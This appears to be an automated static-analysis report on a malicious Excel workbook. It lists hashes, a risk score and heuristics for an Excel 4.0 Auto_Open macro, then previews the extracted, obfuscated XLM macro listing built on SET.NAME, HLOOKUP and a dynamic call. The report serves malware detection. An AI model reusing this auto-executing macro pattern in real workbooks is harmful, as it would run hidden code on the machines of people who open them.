Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 968808aba1267129…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:43:05 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: 54c1560e07a546c31f4f0f28ff97dfaa SHA-1: 21771d776a38897b284b87c0893b499813bf6656 SHA-256: 968808aba12671292043bdbe2dd6a05c44a387295d05dcd0c2281419e1e30c38
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6781 bytes
SHA-256: c45801e8532a502a9de10118ac0f81dddcb890436be140d423dc8741b50cded7
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  cBUclIdg
' 0018     26 LABEL : Cell Value, String Constant - aMbKtCMVdzx len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B135 
' 0018     22 LABEL : Cell Value, String Constant - cbqmvEV len=0 
' 0018     26 LABEL : Cell Value, String Constant - CTfQJkELSiD len=0 
' 0018     24 LABEL : Cell Value, String Constant - ECJOsuoSd len=0 
' 0018     23 LABEL : Cell Value, String Constant - EMGlpvjH len=0 
' 0018     25 LABEL : Cell Value, String Constant - eWRZhlgKrr len=0 
' 0018     25 LABEL : Cell Value, String Constant - fkVPIYcPGk len=0 
' 0018     26 LABEL : Cell Value, String Constant - gJEByeAjwDH len=0 
' 0018     26 LABEL : Cell Value, String Constant - iIpeXbeCcMt len=0 
' 0018     21 LABEL : Cell Value, String Constant - jdntGi len=0 
' 0018     25 LABEL : Cell Value, String Constant - KnUwPMXOKS len=0 
' 0018     25 LABEL : Cell Value, String Constant - mMZzPJCibP len=0 
' 0018     22 LABEL : Cell Value, String Constant - Oyimmfp len=0 
' 0018     27 LABEL : Cell Value, String Constant - QcFUikEAmEOB len=0 
' 0018     27 LABEL : Cell Value, String Constant - skwrnjNdqXGT len=0 
' 0018     20 LABEL : Cell Value, String Constant - sRaOW len=0 
' 0018     21 LABEL : Cell Value, String Constant - ukbbgV len=0 
' 0018     26 LABEL : Cell Value, String Constant - UtxLAhXQDmW len=0 
' 0018     22 LABEL : Cell Value, String Constant - YCcZkfr len=0 
' 0018     25 LABEL : Cell Value, String Constant - zlAZQfpoCe len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  cBUclIdg,B48,"SET.NAME("cbqmvEV",0+VALUE("0"))",""
'  cBUclIdg,B52,"SET.NAME("QcFUikEAmEOB",cbqmvEV)",""
'  cBUclIdg,B54,"SET.NAME("ECJOsuoSd",cbqmvEV)",""
'  cBUclIdg,B56,"SET.NAME("iIpeXbeCcMt",COUNTA(zlAZQfpoCe))",""
'  cBUclIdg,B60,"SET.NAME("Oyimmfp",COUNTA(mMZzPJCibP))",""
'  cBUclIdg,B62,[],""
'  cBUclIdg,B64,"SET.NAME("ukbbgV","")",""
'  cBUclIdg,T66,"",-979.00000000000000000000
'  cBUclIdg,T67,"",-130.00000000000000000000
'  cBUclIdg,T68,"",-482.00000000000000000000
'  cBUclIdg,B69,"QcFUikEAmEOB",""
'  cBUclIdg,T69,"",-16.00000000000000000000
'  cBUclIdg,T70,"",-661.00000000000000000000
'  cBUclIdg,B71,"SET.NAME("jdntGi",HLOOKUP("*",zlAZQfpoCe,QcFUikEAmEOB,FALSE))",""
'  cBUclIdg,T71,"",-515.00000000000000000000
'  cBUclIdg,B76,"CTfQJkELSiD",""
'  cBUclIdg,B79,"SET.NAME("KnUwPMXOKS",cbqmvEV)",""
'  cBUclIdg,B82,[],""
'  cBUclIdg,B85,"KnUwPMXOKS",""
'  cBUclIdg,B90,"aMbKtCMVdzx",""
'  cBUclIdg,B93,"eWRZhlgKrr",""
'  cBUclIdg,B95,"YCcZkfr",""
'  cBUclIdg,B98,"SET.NAME("sRaOW",VALUE(HLOOKUP("*",mMZzPJCibP,YCcZkfr,FALSE)))",""
'  cBUclIdg,B101,"fkVPIYcPGk",""
'  cBUclIdg,B104,"ukbbgV",""
'  cBUclIdg,B108,"ECJOsuoSd",""
'  cBUclIdg,B113,NEXT(),""
'  cBUclIdg,B118,"gJEByeAjwDH",""
'  cBUclIdg,B122,[],""
'  cBUclIdg,B127,"UtxLAhXQDmW",""
'  cBUclIdg,B129,NEXT(),""
'  cBUclIdg,B131,RETURN(),""
'  cBUclIdg,B161,"SET.NAME("EMGlpvjH",B48)",""
'  cBUclIdg,B163,"zlAZQfpoCe",""
'  cBUclIdg,B166,"SET.NAME("mMZzPJCibP",R88C15)",""
'  cBUclIdg,B168,"SET.NAME("UtxLAhXQDmW",177)",""
'  cBUclIdg,B171,"SET.NAME("skwrnjNdqXGT",2)",""
'  cBUclIdg,B176,EMGlpvjH(),""
'  cBUclIdg,B177,HALT(),""

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